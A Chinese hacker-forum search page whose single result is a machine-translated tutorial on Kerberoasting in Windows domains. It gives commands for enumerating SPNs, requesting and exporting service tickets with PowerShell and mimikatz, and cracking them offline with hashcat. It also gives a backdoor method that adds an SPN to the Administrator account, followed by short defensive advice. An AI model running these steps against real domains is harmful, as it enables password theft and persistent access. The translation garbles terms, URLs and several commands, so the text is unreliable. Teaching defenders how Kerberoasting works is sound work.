跳转到帖子

搜索论坛

显示结果为标签'Kerberoasting'。

  • 用标签来搜索

    用逗号分隔标签类型
  • 用作者来搜索

内容类型


论坛

  • 漏洞与黑客攻击防御安全领域
    • 黑客攻防业务合作
    • 世界黑客新闻动态
    • WEB和服务器安全漏洞
    • CHT漏洞数据库
    • Linux Kali高级学习教程
    • CTF&密码学与社会工程
    • 木马病毒分析
    • 黑客世界会员中心
  • 问题讨论中心
    • 问答中心
    • 交流中心
  • 编程开发
    • 各种编程技术
    • ios /安卓开发
  • CHT官方团队介绍及比赛制度
    • CTF攻防系统[供会员使用]
    • 积分商场
    • 积分跳马系统
    • 积分统计系统

产品组

  • Hacker attack and defense security hardware series
  • Internet Security Book Recommendations

博客

没有结果。

没有结果。

类别

  • Hacker Attack and Defense & Network Security Videos

查找结果在…

查找包含的结果…


创建日期

  • 开始

    结束


最后更新

  • 开始

    结束


按数量过滤…

注册日期

  • 开始

    结束


用户组


About Me

找到1个结果

  1. 0x00 前言 Kerberoasting是域渗透中经常使用的一项技术,本文将参考公开的资料,结合自己的理解,详细介绍Kerberoasting的原理和实现,以及一个后门利用的方法,最后给出防御建议。 参考资料: http://www。哈米。net/blog/powershell/Kerberos ast-without-Mimi Katz/ http://www.harmj0y.net/blog/redteaming/from-kekeo-to-rubeus/ https://malicious.link/post/2016/kerberoast-pt1/ https://malicious.link/post/2016/kerberoast-pt2/ https://malicious.link/post/2016/kerberoast-pt3/ https://adsecurity.org/?p=3458 https://adsecurity.org/?page_id=183 https://blog.netspi.com/faster-domain-escalation-using-ldap/ https://社会。TechNet。微软。com/wiki/目录/文章/717。service-principal-names-spns-setspn-syntax-setspn-exe。aspx 0x01 简介 本文将要介绍以下内容: Kerberoasting相关概念 Kerberoasting的原理 Kerberoasting的实现 Kerberoasting的后门利用 Kerberoasting的防御 0x02 基本概念 SPN 官方文档: https://份文件。微软。com/en-us/windows/desktop/AD/service-principal-names 全称服务主体名称 SPN是服务器上所运行服务的唯一标识,每个使用麻省理工学院开发的安全认证系统的服务都需要一个SPN SPN分为两种,一种注册在广告上机器帐户(计算机)下,另一种注册在域用户帐户(用户)下 当一个服务的权限为本地系统或网络服务,则SPN注册在机器帐户(计算机)下 当一个服务的权限为一个域用户,则SPN注册在域用户帐户(用户)下 SPN的格式 服务类/主机:端口/服务名 说明: 服务类别可以理解为服务的名称,常见的有www,ldap,SMTP,DNS,主机等 宿主有两种形式,FQDN和网络基本输入输出系统(网络基本输入/输出系统)名,例如server01.test.com和服务器01 如果服务运行在默认端口上,则端口号(港口)可以省略 查询SPN 对域控制器发起轻量级目录访问协议查询,这是正常网络认证协议(名字来源于希腊神话中"三个头的狗——地狱之门守护者")票据行为的一部分,因此查询SPN的操作很难被检测 (1) 使用SetSPN Win7和Windows Server2008自带的工具 查看当前域内的所有SPN: setspn.exe-q */* 查看试验域内的所有SPN: setspn.exe-T检验-q */* 输出结果实例: CN=DC1,OU=域控制器,DC=测试,DC=com exchangeRFR/DC1 exchangeRFR/DC1.test.com exchangeMDB/DC1.test.com exchangeMDB/DC1 exchangeAB/DC1 exchangeAB/DC1.test.com SMTP/DC1 SMTP/DC1.test.com SmtpSvc/DC1 SmtpSvc/DC1.test.com LDAP/dc1。测试。com/forestdnszones。测试。com LDAP/dc1。测试。com/域DNS区域。测试。com dfsr-12 F9 a 27 c-BF97-4787-9364-d 31 b 6 c 55 EB 04/dc1。测试。com DNS/DC1.test.com GC/DC1.test.com/test.com RestrictedKrbHost/DC1.test.com RestrictedKrbHost/DC1 主机/DC1/测试 HOST/DC1.test.com/TEST 主机/DC1 HOST/DC1.test.com HOST/DC1.test.com/test.com e 3514235-4b 06-11 D1-AB04-00 c 04 fc 2d CD 2/0f 33253 b-2314-40f 0-b665-f 4317 b 13 E6 b 9/测试。com LDAP/DC1/测试 LDAP/0f 33253 b-2314-40f 0-b665-f 4317 b 13 e6b 9 ._msdcs.test.com ldap/DC1.test.com/TEST ldap/DC1 ldap/DC1.test.com ldap/DC1.test.com/test.com CN=krbtgt,CN=用户,DC=测试,DC=com kadmin/changepw CN=计算机01,CN=计算机,DC=测试,DC=通讯 RestrictedKrbHost/COMPUTER01 主机/计算机01 受限krb host/计算机01。测试。com 主机/计算机01.test.com CN=MSSQL服务管理,CN=用户,DC=测试,DC=com MSSQLSvc/DC1.test.com 以通信网络(交流网的缩写)开头的每一行代表一个帐户,其下的信息是与该帐户相关联的SPN 对于上面的输出数据,机器帐户(计算机)为: CN=DC1,OU=域控制器,DC=测试,DC=com CN=计算机01,CN=计算机,DC=测试,DC=通讯 域用户帐户(用户)为: CN=krbtgt,CN=用户,DC=测试,DC=com CN=MSSQL服务管理,CN=用户,DC=测试,DC=com 注册在域用户帐户(用户)下的SPN有两个:kadmin/changepw和MSSQLSvc/DC1.test.com 0x03 Kerberoasting的原理 1、Kerberos认证过程 一个简单的麻省理工学院开发的安全认证系统认证过程如下图 as _请求 as _回复 tgs _请求 tgs _回复 ap _请求 ap _回复 4.对于4.tgs_reply,用户会收到目标服务实例NTLM哈希加密生成的tgs(服务票),加密算法是RC4-HMAC。 从利用的角度来看,获得这个TGS后,可以尝试穷尽密码,模拟加密过程,生成TGS进行对比。如果TGS相同,并且代表性密码正确,则可以获得目标服务实例的明文密码。 2、Windows系统通过SPN查询获得服务和服务实例帐户的对应关系 这里有一个例子: a .要访问MySQL服务的资源,当用户转到4.tgs_reply时,步骤如下: (1)域控制器查询MySQL服务的SPN。 如果SPN是在机器帐户(计算机)下注册的,将查询所有机器帐户(计算机)的servicePrincipalName属性以找到相应的帐户。 如果SPN是在域用户帐户(Users)下注册的,将查询所有域用户的servicePrincipalName属性来查找对应的帐户。 (2)找到对应的账户后,使用该账户的NTLM哈希生成TGS 3、域内的主机都能查询SPN 4、域内的任何用户都可以向域内的任何服务请求TGS 综上所述,域内任何主机都可以查询SPN,向域内所有服务请求TGS,得到TGS后暴力破解。 对于被破解的明文密码,只有域用户帐户(Users)的密码才有值,而不考虑机器帐户(不能用于远程连接)的密码。 因此,高效利用的思路如下: 要查询SPN并找到有价值的SPN,需要满足以下条件: SPN是在域用户帐户(用户)下注册的 域用户帐户具有高权限。 请求TGS 出口TGS 强力 0x04 Kerberoasting的实现方法一 1、获得有价值的SPN 需要满足以下条件: SPN是在域用户帐户(用户)下注册的 域用户帐户具有高权限。 您可以选择以下三种方法: (1)使用powershell模块Active Directory 注: Powershell模块Active Directory需要提前安装,通常会安装域控制器。 导入模块ActiveDirectory get-aduser-filter { admin count-eq1-and(servicePrincipalName-ne 0)}-prop * | select name,whencreated,pwdlastset,lastlogon 对于未安装Active Directory模块的系统,您可以通过以下命令导入Active Directory模块: 导入模块。\微软。ActiveDirectory.Management.dll 微软。ActiveDirectory.Management.dll是在安装powershell模块Active Directory后生成的,我已经解压并上传到github: https://github.com/3gstudent/test/blob/master/Microsoft.ActiveDirectory.Management.dll (2)使用PowerView https://github . com/powershell mafia/PowerSploit/blob/dev/Recon/power view . PS1 get-net user-SPN-admin count |选择名称,创建时间,pwdlastset,lastlogon (3)使用kerberoast powershell: https://github . com/nidem/Kerberos ast/blob/master/getuserspns . PS1 vbs: https://github . com/nidem/Kerberos/blob/master/getuserspns . VBS 参数如下: cscript GetUserSPNs.vbs 2、请求TGS (1)请求指定TGS $ SPN name=' MSSQL SVC/dc1 . test . com ' 添加类型程序集名称系统。身份模型 新对象系统。identity model . tokens . Kerberos requestorsecuritytoken-argument list $ SPN name (2)请求所有TGS 添加类型程序集名称系统。身份模型 setspn.exe-q */* | select-string '^cn'上下文0,1 | % {新对象系统。身份模型。tokens . Kerberos requestorsecuritytoken-argument list $ _ . context . post context[0]。Trim() } 执行后,进入klist查看内存中的账单,可以找到您获得的TGS。 3、导出 使用mimikatz kerberos:列表/导出 4、破解 https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py。/tgsrepcrack . py word list . txt test . kir bi 0x05 Kerberoasting的实现方法二 自动,不需要mimikatz,普通用户权限,资源: http://www . harmj 0y . net/blog/powershell/Kerberos ast-without-mimikatz/ 代码地址: https://github . com/Empire project/Empire/commit/6ee7e 036607 a62b 0192 daed 46d 3711 AFC 65 c 3921 使用系统。identity model . tokens . Kerberos requestorsecuritytoken请求TGS,从返回的结果中提取TGS,并选择开膛手约翰或哈希卡特来破解输出TGS。 示例演示: 在域中的主机上以普通用户权限执行: invoke-Kerberos ast-AdminCount-output format Hashcat | fl -AdminCount表示选择具有高权限的用户。 输出结果如下 只有提取的散列的参数如下: invoke-Kerberos ast-AdminCount-output format Hashcat | Select hash | convert to-CSV-notype information 输出结果如下 用hashcat破解的参数如下: hashcat-m 13100/tmp/hash . txt/tmp/password . list-o found . txt-force 破解结果如下图,成功获得明文密码MySQLAdmin111! 注: Rubeus也可以实现Invoke-Kerberos ast的功能,地址如下: https://github.com/GhostPack/Rubeus 参数如下: Rubeus.exe克伯罗斯 0x06 Kerberoasting的后门利用 在我们获得了SPN的修改权限后,就可以为指定的域用户添加一个SPN,这样就可以随时获取该域用户的TGS,被破解后得到明文密码。 例如,使用以下参数为域用户Administrator添加SPNVNC/DC1.test.com: setspn.exe大学VNC/DC1.test.com管理员 如下图 域中的任何主机都可以获得SPN,并且可以使用Kerberoast获得TGS,如下图所示。 然后用hashcat破解。 补充: 删除SPN的参数如下: setspn.exe-VNC/dc1 . test . com管理员 0x07 防御 从防御角度来说,无法阻止kerberoast,但可以增加具有攻击值的SPN(注册在权限高的域用户账号下)的密码长度,可以提高破解难度,并定期修改关联域用户的密码。 管理员可以在域中的主机上使用Invoke-Kerberos ast来检查是否存在危险的SPN。 下载地址: https://github . com/powershell mafia/PowerSploit/blob/dev/Recon/power view . PS1 参数: get-net user-SPN-admin count |选择名称,创建时间,pwdlastset,lastlogon 0x08 小结 本文详细介绍了Kerberoasting认证的原理、方法和防御,并给出了一个实例。 留下回复

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    ×
    ×
    • 创建新的...